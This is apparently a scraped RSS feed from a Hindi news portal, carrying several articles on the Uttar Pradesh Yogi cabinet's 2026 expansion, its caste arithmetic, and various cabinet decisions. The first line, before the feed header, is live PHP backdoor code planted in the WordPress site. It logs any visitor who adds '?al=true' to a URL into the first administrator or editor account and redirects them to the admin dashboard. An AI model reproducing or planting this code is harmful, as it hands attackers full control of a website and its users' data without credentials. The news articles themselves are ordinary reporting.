// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Yogi Cabinet – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 11 May 2026 16:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 यूपी में योगी मंत्रिमंडल विस्तार से बदले जातीय समीकरण, ओबीसी-दलित को मिला बड़ा प्रतिनिधित्व https://pratyushaashakinayikiran.com/?p=218764 Mon, 11 May 2026 16:35:00 +0000 https://pratyushaashakinayikiran.com/?p=218764  लखनऊ

 सत्ता की हैट-ट्रिक लगाने के लिए भाजपा ने योगी मंत्रिमंडल के बहुप्रतीक्षित विस्तार के जरिए जातीय से लेकर क्षेत्रीय समीकरणों के संतुलन का रणक्षेत्र सजा लिया है।

19वीं विधानसभा के लिए लगभग आठ माह बाद होने वाले चुनाव को लेकर सपा जिस पीडीए के अस्त्र को धार दे रही है, भाजपा ने विस्तार में पिछड़े और दलित समाज के प्रतिनिधियों को कहीं ज्यादा प्रतिनिधित्व देकर उसको कुंद करने का बड़ा दांव चला है।

सपा चुनाव के लिए जाट, गुर्जर, पाल, वाल्मीकि, पासी आदि जातियों में पैठ बढ़ाने में जुटी है। भाजपा ने सपा की इसी रणनीति को ध्वस्त करने का ताना-बाना मंत्रिमंडल के सहारे बुना है। ओबीसी समाज से तीन और मंत्री बनाने के साथ दो को प्रोन्नत किया गया है। दलित समाज से भी दो और मंत्री बनाए गए हैं।

मंत्रिमंडल विस्तार के बाद अब 60 प्रतिशत मंत्री ओबीसी और एससी समाज से
पूरब से पश्चिम तक को साधा गया है। रविवार के विस्तार के बाद मुख्यमंत्री योगी आदित्यनाथ सहित 60 मंत्रियों के मंत्रिमंडल में 60 प्रतिशत ओबीसी व दलित समाज का ही प्रतिनिधित्व हो गया है।

क्षत्रिय व वैश्व समाज की भागीदारी यथावत रखते हुए पार्टी ने सवर्ण समाज से एक मात्र मनोज पाण्डेय को कैबिनेट मंत्री बनाकर यूजीसी सहित अन्य मुद्दों को लेकर समाज में उपजी नाराजगी दूर करने का भी प्रयास किया गया है।

चुनाव से पहले मंत्रिमंडल विस्तार के कई मायने
चुनाव से आठ माह पहले किया गया विस्तार कई मायनों में अहम है। बनाए गए मंत्रियों को भले ही अन्य की तरह लंबा कार्यकाल नहीं मिलेगा लेकिन इस बहाने सत्ताधारी भाजपा, विरोधियों के साथ ही कार्यकर्ताओं को भी बड़ा संदेश देने की कोशिश की है। चूंकि प्रदेश की राजनीति आज भी जातीय संतुलन पर ही टिकी है, इसलिए दूसरे विस्तार में खासतौर से जातीय गणित का ही ध्यान रखा गया है।

चुनाव में ओबीसी जातियों की निर्णायक भूमिका होने के नाते विस्तार में ओबीसी (अन्य पिछड़ा वर्ग) में आने वाले लोध (कैलाश राजपूत), पाल (अजीत सिंह), विश्वकर्मा (हंसराज), गुर्जर (सोमेन्द्र तोमर) व जाट (भूपेन्द्र चौधरी) बिरादरी का मंत्रिमंडल में प्रतिनिधित्व बढ़ाया गया है। इससे पहले भाजपा पिछड़े में कुर्मी समाज से आने वाले पंकज चौधरी को पार्टी की कमान सौंप चुकी है।

पिछड़े समाज को बनाया वोट बैंक
सूबे की सत्ता हासिल करने के लिए समाजवादी पार्टी से लेकर बहुजन समाज पार्टी की नजर पहले से ही राज्य के लगभग 44 प्रतिशत आबादी वाले पिछड़े समाज के वोट बैंक पर है। दोनों पार्टियों ने पिछड़े समाज से आने वाले नेताओं को ही प्रदेश अध्यक्ष की कुर्सी सौंप रखी है।

अनुसूचित जाति से पहली बार वाल्मीकि (सुरेन्द्र दलेर) के साथ ही पासी(कृष्णा पासवान) बिरादरी को मंत्रिमंडल में प्रतिनिधित्व दिया गया है। गौरतलब है कि वर्ष 2024 के लोकसभा चुनाव में कांग्रेस संग सपा, पीडीए (पिछड़ा-दलित-अल्पसंख्यक) फार्मूले के जरिए भाजपा को बड़ा झटका दे चुकी है।

विस्तार के बाद अधिकतम 60 मंत्रियों वाले योगी मंत्रिमंडल में पिछड़े समाज से उप मुख्यमंत्री केशव प्रसाद मौर्य सहित सर्वाधिक 25 मंत्री हो गए हैं। अनुसूचित जाति-जनजाति के 11, सवर्ण समाज से भी 22 (ब्राह्मण समाज के आठ, राजपूत के छह, वैश्य के चार, दो भूमिहार, एक-एक खत्री व कायस्थ समाज से) मंत्री अब हो गए हैं।

विस्तार के जरिए भाजपा ने जिस तरह से सवर्णों के साथ ही गैर यादव ओबीसी बिरादरी को साधने की कोशिश की है, उसको देखते हुए माना जा रहा है कि अगले विधानसभा चुनाव में भी सपा-बसपा के सामने इसमें सेंधमारी करने की ही बड़ी चुनौती होगी।

विदित हो कि लोकसभा चुनाव से पहले योगी मंत्रिमंडल के पहले विस्तार में सामाजिक समीकरण को ध्यान में रखते हुए पिछड़े, दलित, अगड़े के साथ ही पूरब से पश्चिम को साधते हुए चार कैबिनेट मंत्री बनाए गए थे।

यथावत ही रही सहयोगी दलों की हिस्सेदारी
योगी आदित्यनाथ मंत्रिमंडल में अपनी हिस्सेदारी बढ़ाने के लिए भले ही काफी समय से एनडीए के सहयोगी दल बयानबाजी के साथ दिल्ली तक की दौड़ लगा रहे थे लेकिन दूसरे विस्तार में किसी को भी मौका नहीं मिला।

इसके बाद भी सहयोगी दलों के नेता पूरी तरह से शांत हैं। माना जा रहा है कि बिहार के बाद बंगाल, असम एवं पुडुचेरी विधान सभा चुनाव में भी मिली बड़ी जीत के बाद सहयोगी दल, भाजपा पर अब दबाव बनाने से बच रहे हैं।

सहयोगी दलों को लग रहा है कि प्रधानमंत्री नरेन्द्र मोदी के नेतृत्व में जिस तरह का माहौल भाजपा के पक्ष में बना हुआ है उसका असर उत्तर प्रदेश के विधानसभा चुनाव में भी रहने वाला है। ऐसे में किसी तरह का दबाव बनाने से सत्ताधारी भाजपा में उनकी स्थिति बिगड़ सकती है। सपा सहित विरोधियों के साथ खड़े होने से फिलहाल फायदा मिलने का आसार नहीं है।

2017 में अपना दल और सुभासपा से हुआ था अलायंस
गौरतलब है कि भाजपा वर्ष 2017 के विधान सभा चुनाव में अपना दल ( सोनेलाल) और सुहेलदेव भारतीय समाज पार्टी(सुभासपा) के साथ गठबंधन कर मैदान में उतरी थी। सरकार बनने पर सहयोगी दलों को मंत्रिमंडल में हिस्सेदारी दी गई थी।

2019 के लोकसभा चुनाव में निषाद पार्टी का भी भाजपा से गठजोड़ हुआ लेकिन मंत्री पद से बर्खास्त कर दिए जाने पर सुभासपा अध्यक्ष ओमप्रकाश राजभर ने भाजपा से किनारा कर लिया। वर्ष 2022 के विधान सभा चुनाव में अपना दल (सोनेलाल) और निषाद पार्टी तो भाजपा के साथ रहीं लेकिन सुभासपा ने सपा के साथ चुनाव लड़ा था।

छह विधायक भी जीते लेकिन सपा से अनबन के बाद राजभर ने फिर भाजपा से हाथ मिला लिया। वर्ष 2024 के लोकसभा चुनाव के पूर्व रालोद भी सपा से नाता तोड़कर भाजपा के साथ आ गई। भाजपा के साथ खड़े दलों का एक-एक विधायक वर्तमान में योगी आदित्यनाथ की सरकार में मंत्री है।

 

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योगी सरकार का मंत्रिमंडल विस्तार: 8 नए मंत्रियों ने ली शपथ, जानें पूरी सूची और समीकरण https://pratyushaashakinayikiran.com/?p=218413 Sun, 10 May 2026 11:05:00 +0000 https://pratyushaashakinayikiran.com/?p=218413  लखनऊ

 योगी आदित्यनाथ मंत्रिमंडल का दूसरा विस्तार दोपहर 3.30 बजे से जन भवन में हुआ। राज्यपाल आनंदीबेन पटेल ने आठ मंत्रियों पद की शपथ दिलाई।

भूपेन्द्र चौधरी और मनोज कुमार पाण्डेय ने कैबिनेट मंत्री और डॉ. सोमेंद्र तोमर व अजीत पाल ने राज्य मंत्री स्वतंत्र प्रभार के पद की शपथ ली। इनके साथ कृष्णा पासवान, कैलाश सिंह राजपूत, सुरेन्द्र दिलेर व हंसराज विश्वकर्मा ने राज्यमंत्री के पद की शपथ ली। योगी आदित्यनाथ सरकार 2.0 में अभी मुख्यमंत्री, दो उपमुख्यमंत्री समेत 21 कैबिनेट मंत्री हैं। इनके साथ 14 राज्य मंत्री (स्वतंत्र प्रभार) और 18 राज्य मंत्री हैं। सरकार में 54 मंत्री हैं तो अधिकतम 60 मंत्री ही बनाये जा सकते है। बिना किसी को मंत्रिमंडल से हटाए आठ को मंत्री पद की शपथ दिलाई गई।

योगी आदित्यनाथ सरकार एक में कैबिनेट मंत्री रहे पूर्व भाजपा प्रदेश अध्यक्ष भूपेन्द्र चौधरी व रायबरेली के ऊंचाहार से विधायक समाजवादी पार्टी से बगावत करने वाले मनोज कुमार पाण्डेय ने कैबिनेट मंत्री के पद की शपथ ली। इनके साथ अति पिछड़ी जाति से आने वाले वाराणसी के विधान परिषद सदस्य हंसराज विश्वकर्मा, फतहेपुर की खागा सीट से विधायक अनुसूचित जाति की कृष्णा पासवान, अलीगढ़ के खैर से विधायक सुरेन्द्र दिलेर और कन्नौज के तिर्वा से विधायक कैलाश सिंह राजपूत ने पहली बार राज्यमंत्री के पद की शपथ ली।

इन मंत्रियों ने ली पद की शपथ
उत्तर प्रदेश जन भवन में आज आठ मंत्रियों को शपथ दिलाई गई। इनमें दो राज्यमंत्रियों के कद में बढ़ोतरी गई है। भाजपा के पूर्व प्रदेश अध्यक्ष भूपेन्द्र सिंह चौधरी व मनोज कुमार पाण्डेय ने कैबिनेट मंत्री पद की शपथ ली।

चौधरी इससे पहले योगी आदित्यनाथ की पहली सरकार (2017-2022) में  पंचायती राज मंत्री  रह चुके हैं।

रायबरेली के ऊंचाहार से विधायक और अखिलेश यादव सरकार में कैबिनेट मंत्री रहे मनोज कुमार पाण्डेय ने योगी आदित्यनाथ सरकार में कैबिनेट मंत्री पद शपथ ली। लेंगे।

कन्नौज के तिर्वा से विधायक विधायक कैलाश सिंह राजपूत मंत्रिपद की शपथ लेंगे।

वाराणसी में भाजपा के जिलाध्यक्ष और विधान परिषद सदस्य हंसराज विश्वकर्मा

अलीगढ़ के खैर से भाजपा के विधायक सुरेंद्र दिलेर

फतेहपुर के खागा से भाजपा की विधायक कृष्णा पासवान

मेरठ दक्षिण विधानसभा क्षेत्र से भाजपा के विधायक डॉ. सोमेंद्र तोमर का कद बढ़ाया गया है। वह सरकार में राज्य मंत्री ऊर्जा एवं अतिरिक्त ऊर्जा स्रोत हैं, अब इनको राज्य मंत्री स्वतंत्र प्रभार के रूप में शपथ दिलाई जाएगी।
कानपुर देहात के सिकंदरा से भाजपा के विधायक अजीत पाल योगी आदित्यनाथ सरकार में राज्य मंत्री विज्ञान एवं प्रौद्योगिकी और इलेक्ट्रॉनिक्स एवं सूचना प्रौद्योगिकी विभाग है। इनको प्रोन्नत किया गया है। अब यह राज्य मंत्री स्वतंत्र प्रभार के पद की शपथ लेंगे।

दो वर्ष पहले हुआ था पहला विस्तार
मुख्यमंत्री योगी आदित्यनाथ मंत्रिमंडल का पहला विस्तार लोकसभा चुनाव से पहले पांच मार्च 2024 को हुआ था। तब सामाजिक समीकरण को ध्यान में रखते हुए पिछड़े, दलित, अगड़े के साथ ही पूरब से पश्चिम को साधते हुए चार नए कैबिनेट मंत्री बनाए गए थे। इनमें सुभासपा अध्यक्ष ओम प्रकाश राजभर, भाजपा एमएलसी दारा सिंह चौहान, मुजफ्फरनगर की पुरकाजी सीट से रालोद विधायक अनिल कुमार और गाजियाबाद की साहिबाबाद सीट से भाजपा विधायक सुनील कुमार शर्मा मंत्री बने थे। इसके साथ कैबिनेट मंत्रियों की संख्या मुख्यमंत्री योगी सहित 22 हो गई, लेकिन लोकसभा चुनाव के बाद जितिन प्रसाद केंद्रीय मंत्री बन गए थे। इस तरह से वर्तमान में 21 कैबिनेट मंत्री हैं।

मौजूदा मंत्रिमंडल का जातीय समीकरण
योगी आदित्यनाथ 2.0 सरकार जब गठित हुई उस समय पिछड़ा वर्ग के 20, आठ दलित, सात ब्राह्मण, छह राजपूत, चार वैश्य, दो भूमिहार मंत्री बनाय गये थे। पहले विस्तार में दो पिछड़े वर्ग मंत्रियों में बढ़ोत्तरी हुई, जिससे मंत्री पिछड़े वर्ग के मंत्रियों की संख्या 22 हो गई। इसके अतिरिक्त एक सुनील शर्मा ब्राह्मण को मंत्रिमंडल में स्थान मिला, लेकिन जितिन प्रसाद केंद्रीय मंत्री बन गये, जिससे ब्राहमण मंत्रियों की संख्या सात ही रही। अलबत्ता अनिल कुमार के रूप में दलित मंत्रियों की संख्या बढ़कर नौ हो गई थी।

भाजपा विधायकों का जातीय समीकरण
वर्तमान में भाजपा के पास 258 विधायक हैं। इनमें से 45 राजपूत, 42 ब्राह्णण, ओबीसी के 84, एससी के 59 और अन्य सवर्ण विधायक की संख्या 28 हैं। इसी तरह 100 सदस्यों वाली विधान परिषद में भाजपा के 79 सदस्य हैं। इनमें राजपूत 23, ब्राहम्ण 14, ओबीसी 26, मुस्लिम 02 और अन्य सवर्ण 12 और एससी वर्ग के दो सदस्य हैं।

जातीय व क्षेत्रीय संतुलन साधने की कोशिश
उत्तर प्रदेश में वर्ष 2027 में होने वाले विधानसभा चुनाव में अब सिर्फ आठ महीने ही है। इसको देखते हुए भाजपा यूपी में योगी आदित्यनाथ मंत्रिमंडल विस्तार के जरिए जातीय व क्षेत्रीय संतुलन साधने की कोशिश करेगी। जहां छह और मंत्री बनाए जा सकते हैं वहीं मौजूदा राज्यमंत्रियों में से कुछ को कैबिनेट मंत्री बनाया जाएगा। राज्यसभा चुनाव में सपा से बगावत करने वाले विधायकों में से दो को मंत्री पद का पुरस्कार मिल सकता है। वर्तमान में मुख्यमंत्री योगी, उप मुख्यमंत्री केशव प्रसाद मौर्य व ब्रजेश पाठक सहित कुल 54 मंत्री। राज्य में अधिकतम 60 मंत्री बन सकते हैं। जातीय व क्षेत्रीय संतुलन को ध्यान में रखते हुए मंत्रियों के छह रिक्त पदों को भरा जाएगा।

 

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पीएम आवास योजना-शहरी 2.0 के लिए नई नीति को योगी कैबिनेट की मंजूरी https://pratyushaashakinayikiran.com/?p=203864 Tue, 10 Mar 2026 14:45:00 +0000 https://pratyushaashakinayikiran.com/?p=203864 लखनऊ

मुख्यमंत्री योगी आदित्यनाथ की अध्यक्षता में हुई कैबिनेट बैठक में प्रधानमंत्री आवास योजना 2.0 के तहत किफायती आवास (एएचपी) और किफायती किराया आवास (एआरएच) घटकों के क्रियान्वयन के लिए नई नीति जारी करने के प्रस्ताव को मंजूरी दे दी गई है। भारत सरकार के दिशा-निर्देशों के अनुरूप प्रदेश में वर्ष 2026 के लिए इन दोनों घटकों के संचालन हेतु विस्तृत दिशा-निर्देश जारी किए जाएंगे। योजना के तहत मध्यम और दुर्बल आय वर्ग के लोगों के लिए किफायती दरों पर आवास उपलब्ध कराने का प्रावधान किया गया है।

इस योजना के अंतर्गत आवास निर्माण के लिए प्रत्येक लाभार्थी को केंद्र सरकार की ओर से 1.50 लाख रुपये और राज्य सरकार की ओर से 1 लाख रुपये की सहायता दी जाएगी। इसके अलावा व्हाइटलिस्टेड परियोजनाओं में काम करने वाले डेवलपर्स को भू-उपयोग परिवर्तन शुल्क, मानचित्र स्वीकृति शुल्क, बाह्य विकास शुल्क में छूट दी जाएगी, वहीं लाभार्थियों को स्टाम्प शुल्क में भी राहत मिलेगी।

किफायती किराया आवास (एआरएच) मॉडल-2 के तहत शहरी गरीबों, कामकाजी महिलाओं, औद्योगिक इकाइयों के कर्मचारियों तथा ईडब्ल्यूएस और एलआईजी वर्ग के परिवारों के लिए निजी और सार्वजनिक संस्थाओं द्वारा किराये के आवास बनाए जाएंगे, जिनका संचालन और रखरखाव भी वही संस्थाएं करेंगी। सरकार का उद्देश्य इस योजना के माध्यम से शहरों में सस्ती और सुलभ आवासीय सुविधा उपलब्ध कराना है।

अनधिकृत लोगों से कांशीराम आवास खाली करवाकर पात्र दलितों को आवंटित किए जाएंगे

निर्णय की जानकारी देते हुए वित्त मंत्री सुरेश कुमार खन्ना ने बताया कि बैठक के दौरान कांशीराम आवासों को लेकर भी महत्वपूर्ण निर्णय लिया गया। उन्होंने कहा कि प्रदेश के विभिन्न जिलों में बने कांशीराम आवास योजना के कई आवासों पर अनधिकृत कब्जे की शिकायतें सामने आई हैं। ऐसे आवासों की पहचान कर उन्हें खाली कराया जाएगा और उनकी रंगाई-पुताई व मरम्मत कराकर पुनः पात्र दलित परिवारों को आवंटित किया जाएगा। इस प्रस्ताव को कैबिनेट ने सर्वसम्मति से स्वीकार किया। सरकार का उद्देश्य इन आवासों को फिर से जरूरतमंद दलित परिवारों को उपलब्ध कराना है।

मुख्यमंत्री योगी आदित्यनाथ की अध्यक्षता में हुई कैबिनेट बैठक में संपत्ति की रजिस्ट्री प्रक्रिया को अधिक पारदर्शी और सुरक्षित बनाने के लिए महत्वपूर्ण प्रस्ताव को मंजूरी दी गई है। इसके तहत रजिस्ट्री से पहले खतौनी और स्वामित्व से जुड़े दस्तावेजों का परीक्षण अनिवार्य किया जाएगा, ताकि फर्जी और विवादित जमीन की रजिस्ट्री को रोका जा सके।

निर्णय की जानकारी देते हुए स्टाम्प एवं पंजीयन राज्य मंत्री (स्वतंत्र प्रभार) रविन्द्र जायसवाल ने बताया कि वर्तमान समय में कई मामलों में यह देखा गया है कि संपत्ति के वास्तविक स्वामी के अलावा अन्य व्यक्ति द्वारा संपत्ति का विक्रय कर दिया जाता है। इसके अलावा निषेधित या प्रतिबंधित संपत्ति का विक्रय, अपने अधिकार से अधिक संपत्ति का विक्रय, कुर्क संपत्ति का विक्रय तथा केंद्र या राज्य सरकार के स्वामित्व वाली भूमि के विक्रय विलेख का भी पंजीकरण करा लिया जाता है। ऐसे मामलों के कारण बाद में विवाद उत्पन्न होते हैं और लोगों को लंबे समय तक मुकदमेबाजी और अन्य परेशानियों का सामना करना पड़ता है।

वर्तमान में रजिस्ट्रेशन एक्ट, 1908 के अंतर्गत किसी भी विलेख के पंजीकरण से इनकार करने के संबंध में उप-निबंधक को धारा 35 के तहत बहुत सीमित अधिकार प्राप्त हैं। इसी कारण कई बार संदिग्ध मामलों में भी रजिस्ट्री हो जाती है। इन समस्याओं को देखते हुए उत्तर प्रदेश में रजिस्ट्रेशन अधिनियम और नियमावली में संशोधन करने का निर्णय लिया गया है।

प्रस्तावित संशोधन के तहत अधिनियम में धारा 22 और धारा 35 के बाद नई धारा 22-A, 22-B और 35-A जोड़ी जाएंगी। धारा 22-A के तहत कुछ श्रेणियों के दस्तावेजों के पंजीकरण पर रोक लगाई जा सकेगी। धारा 22-B के तहत पंजीकरण से पहले अचल संपत्ति की पहचान सुनिश्चित करने के प्रावधान किए गए हैं। वहीं धारा 35-A(1) के अनुसार यदि धारा 17(1) के अंतर्गत आने वाली अचल संपत्ति के पंजीकरण के लिए प्रस्तुत लिखतों के साथ स्वामित्व, अधिकार, पहचान, विधिपूर्ण कब्जा या अंतरण से संबंधित आवश्यक दस्तावेज संलग्न नहीं होंगे, जिन्हें राज्य सरकार राजपत्र में अधिसूचना के माध्यम से निर्धारित करेगी, तो पंजीकरण अधिकारी उस दस्तावेज को पंजीकृत करने से इनकार कर सकेगा।

इस व्यवस्था के लागू होने से फर्जी और विवादित संपत्तियों की रजिस्ट्री पर प्रभावी रोक लगेगी और आम लोगों को अनावश्यक कोर्ट केस तथा अन्य परेशानियों से राहत मिलेगी। उल्लेखनीय है कि अन्य राज्यों में भी इसी प्रकार के संशोधन कर ऐसे मामलों पर नियंत्रण का प्रयास किया गया है। यह प्रस्ताव भारतीय संविधान की सातवीं अनुसूची की समवर्ती सूची की प्रविष्टि-6 के अंतर्गत लाया गया है। कैबिनेट की मंजूरी के बाद अब इससे संबंधित विधेयक को विधानमंडल में प्रस्तुत कर उसकी स्वीकृति प्राप्त की जाएगी।

 मुख्यमंत्री योगी आदित्यनाथ की अध्यक्षता में हुई कैबिनेट बैठक में विकास प्राधिकरणों, आवास एवं विकास परिषद तथा विशेष क्षेत्र विकास प्राधिकरणों की संपत्तियों के डिफॉल्टरों के लिए एकमुश्त समाधान योजना (ओटीएस) 2026 लागू करने के प्रस्ताव को मंजूरी दे दी गई है। इस योजना का उद्देश्य लंबे समय से बकाया धनराशि की वसूली करना और डिफॉल्टर आवंटियों को राहत देना है।

वित्त मंत्री ने बताया कि विकास प्राधिकरणों और संबंधित संस्थाओं में संपत्तियों से जुड़े कुल 18,982 डिफॉल्टर प्रकरण हैं, जिनमें करीब 11,848.21 करोड़ रुपये की धनराशि बकाया है। इसी तरह मानचित्र स्वीकृति से जुड़े 545 डिफॉल्टर मामलों में लगभग 1,482.10 करोड़ रुपये की राशि लंबित है। इन बकाया रकम की वसूली के लिए ओटीएस योजना लाई जा रही है।

योजना के तहत सभी प्रकार की संपत्तियों (आवासीय, व्यावसायिक तथा अन्य आवंटित संपत्तियों) पर यह योजना लागू होगी। इसमें नीलामी या आवंटन पद्धति से दी गई संपत्तियां भी शामिल होंगी। साथ ही सरकारी संस्थानों, स्कूलों, चैरिटेबल संस्थाओं और अन्य संगठनों को आवंटित संपत्तियों पर भी यह योजना लागू होगी। मानचित्र स्वीकृति से जुड़े डिफॉल्टर मामलों को भी इसमें शामिल किया गया है।

ओटीएस योजना के तहत डिफॉल्टर आवंटियों से केवल साधारण ब्याज लिया जाएगा और दंड ब्याज पूरी तरह माफ किया जाएगा। योजना के लिए आवेदन करने की अवधि तीन माह होगी। प्राप्त आवेदनों का निस्तारण भी तीन माह के भीतर किया जाएगा। योजना की जानकारी सभी डिफॉल्टरों को ईमेल, एसएमएस और पत्र के माध्यम से दी जाएगी।

भुगतान की व्यवस्था भी तय की गई है। यदि ओटीएस के बाद देय राशि 50 लाख रुपये तक है, तो उसका एक-तिहाई भाग मांग पत्र जारी होने के 30 दिनों के भीतर जमा करना होगा और बाकी दो-तिहाई राशि तीन मासिक किस्तों में जमा करनी होगी। वहीं यदि देय राशि 50 लाख रुपये से अधिक है, तो एक-तिहाई राशि 30 दिनों के भीतर और शेष दो-तिहाई राशि तीन द्विमासिक किस्तों में छह माह के भीतर जमा करनी होगी। इस योजना से डिफॉल्टरों को बकाया चुकाने का अवसर मिलेगा और विकास प्राधिकरणों तथा आवासीय संस्थाओं की बड़ी राशि वापस प्राप्त हो सकेगी।

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UP में कैबिनेट विस्तार के संकेत तेज, दिल्ली में अमित शाह की बैठक से बढ़ी सियासी धड़कन https://pratyushaashakinayikiran.com/?p=194382 Sun, 25 Jan 2026 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=194382 लखनऊ
उत्तर प्रदेश की राजनीति में इस वक्त भारी हलचल है। राज्य कैबिनेट में फेरबदल और भाजपा संगठन में बड़े बदलावों की चर्चाओं के बीच, केंद्रीय गृह मंत्री अमित शाह ने शनिवार को लखनऊ में प्रदेश के शीर्ष नेतृत्व के साथ एक महत्वपूर्ण बंद कमरे में बैठक की। अमित शाह 'यूपी दिवस' समारोह का उद्घाटन करने के बाद एयरपोर्ट रवाना होने से पहले पार्टी मुख्यालय रुके। लगभग 30 मिनट तक चली इस बैठक में मुख्यमंत्री योगी आदित्यनाथ, उपमुख्यमंत्री ब्रजेश पाठक, प्रदेश अध्यक्ष पंकज चौधरी और संगठन महामंत्री धर्मपाल सिंह मौजूद रहे।
 
पार्टी सूत्रों के अनुसार, इस बैठक के जरिए शाह ने एक स्पष्ट संदेश दिया है कि अगले साल होने वाले विधानसभा चुनावों में लगातार तीसरी बार जीत दर्ज करने के लिए सरकार और संगठन को पूरी तरह तालमेल बिठाकर काम करना होगा। अगले एक साल तक चुनावी मोड में रहने के निर्देश दिए गए हैं।

उत्तर प्रदेश में आगामी चुनावों को देखते हुए योगी कैबिनेट में फेरबदल की प्रबल संभावना है। इस फेरबदल का मुख्य उद्देश्य जातीय और क्षेत्रीय समीकरणों को साधना है। वर्तमान में मुख्यमंत्री और प्रदेश अध्यक्ष दोनों ही पूर्वी यूपी (गोरखपुर) से आते हैं। भाजपा नेतृत्व पश्चिमी यूपी और अन्य क्षेत्रों को प्रतिनिधित्व देकर इस असंतुलन को ठीक करना चाहता है।

दिसंबर में पदभार संभालने वाले पंकज चौधरी को जल्द ही अपनी नई प्रदेश, क्षेत्रीय और जिला कमेटियों का गठन करना है। कैबिनेट और संगठन में जगह पाने की होड़ में दावेदार लखनऊ से लेकर दिल्ली तक के चक्कर लगा रहे हैं।

बैठक में 'विशेष गहन पुनरीक्षण' (SIR) अभियान पर भी चर्चा हुई। भाजपा के लिए चिंता का विषय यह है कि ग्रामीण क्षेत्रों की तुलना में शहरी जिलों में मतदाताओं के नाम वोटर लिस्ट से कटे हैं। शहरी मतदाता भाजपा का मुख्य आधार माने जाते हैं, इसलिए दिल्ली स्थित केंद्रीय नेतृत्व इस डेटा को लेकर काफी गंभीर है।

 

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योगी कैबिनेट ने यूपी में नई तबादला नीति को दी मंजूरी; 41 प्रस्‍तावों पर लगी मुहर https://pratyushaashakinayikiran.com/?p=40205 Tue, 11 Jun 2024 18:56:00 +0000 https://pratyushaashakinayikiran.com/?p=40205

लखनऊ

लोकसभा चुनाव के चलते लगी आचार संहिता हटने के बाद मंगलवार को हुई पहली बैठक में योगी आदित्‍यनाथ कैबिनेट ताबड़तोड़ फैसले ले रही है। राज्य सरकार ने मंगलवार को नई तबादला नीति को मंज़ूरी दे दी है। इस नीति के तहत विभागाध्यक्ष 30 जून तक तबादला कर सकेंगे। इसके बाद तबादला करने के लिए मुख्यमंत्री से अनुमति लेनी होगी। मुख्यमंत्री की अध्यक्षता में मंगलवार को हुई बैठक में यह फ़ैसला हुआ। बैठक में नई ट्रांसफर नीति समेत 41 प्रस्तावों पर मुहर लगी है। इसमें से 26 प्रस्ताव जल संसाधन मंत्रालय के हैं।

इसके पहले आठ जून को हुई मंत्रियों की बैठक में दोनों डिप्‍टी सीएम दिल्‍ली में होने के चलते शामिल नहीं हो पाए थे। मंगलवार की बैठक में डिप्‍टी सीएम ब्रजेश पाठक मौजूद रहे जबकि डिप्‍टी सीएम केशव प्रसाद मौर्य इस बार भी शामिल नहीं हुए। बताया जा रहा है कि वह अभी भी दिल्‍ली में हैं। 

कैबिनेट से तबादला नीति मंजूर होने के बाद आज ही शासनादेश जारी करने की तैयारी है। इस बार विभागाध्यक्षोंं को सिर्फ 19 दिन ही तबादले का अधिकार रहेगा। सभी विभागाध्यक्ष 30 जून तक ही कर सकेंगे। जिले में तीन और मंडल में सात साल वाले तबादले के दायरे में आएंगे। नई नीति के तहत समूह 'क' और 'ख' कर्मचारियों की कुल संख्या के अधिकतम 20 प्रतिशत तक तबादले किए जा सकेंगे। वहीं समूह 'ग' और 'घ' के कार्मिकों की संख्या के अधिकतम 10 प्रतिशत तक तबादले करने की अनुमति होगी। नई नीति में यह भी प्रावधान किया गया है कि अगर कोई विभाग समूह ग और घ में निर्धारित 10 प्रतिशत से अधिक कर्मचारियों का तबादला करना चाहता है, तो इसके लिए विभागीय मंत्री की इजाजत लेनी होगी। 

इसमें अधिकतम 20 प्रतिशत कर्मचारियों का तबादला किया जा सकेगा। इन तबादलों में उन कर्मचारियों को प्राथमिकता दी जाएगी जो लंबे समय से एक ही जगह पर तैनात हैं। तबादला नीति में कहा गया है कि समूह ख और ग कर्मचारियों के ट्रांसफर में जहां तक संभव हो सके मेरिट बेस्ड ऑनलाइन ट्रांसफर सिस्टम से किया जाए। नीति के तहत असमर्थ दिव्यांग बच्चों के माता-पिता से तैनाती के लिए विकल्प लिया जाए। ऐसे कर्मचारियों का तबादला उन जगहों पर किया जाए, जहां उनकी उचित देखभाल हो सके और इलाज किया जा सके।

बुंदेलखंड में दूर होगी पानी की समस्‍या 

योगी कैबिनेट की बैठक में बुंदेलखंड से जुड़ी 26 परियोजनाओं को मंजूरी दी गई है। इसमें ललितपुर, झांसी, महोबा और झांसी जैसे जिलों से जुड़ी परियोजनाएं शामिल हैं।

राज्‍य विश्‍वविद्यालयों से हटेगा ये शब्‍द 
कैबिनेट की बैइक में राज्‍य विश्‍वविद्यालयों से राज्‍य शब्‍द हटाने का प्रस्‍ताव भी पास हुआ। इसके साथ ही दो निजी विश्‍वविद्यालयों को लेटर ऑफ इंटेंट देने का प्रस्‍ताव भी पास किया गया है। 

कुंभ के लिए विशेष प्रस्‍ताव 
बैठक में 2025 में होने वाले महाकुंभ के लिए विशेष प्रस्‍ताव भी पास किया। प्रस्‍ताव के अनुसार इस बार 3200 हेक्‍टेअर से बढ़ाकर 4000 हेक्‍टेअर में मेला लगेगा। इसके साथ ही महाकुंभ में श्रद्धालुओं के भारी तादाद में आने की संभावनाओं के मद्देनज़र घाटों की संख्‍या को बढ़ाया जाएगा। वन विभाग से कुंभ में लकड़ी के लाट लेने के लिए 99 हजार के सापेक्ष 79 हजार लाट लेने के लिए 236 करोड़ का प्रस्‍ताव पास किया गया है। इसके साथ ही बिजली विभाग में एक हजार करोड़ का लोन 9.5 प्रतिशत की दर से हुडको से लेने के प्रस्‍ताव को भी मंजूरी मिली। 

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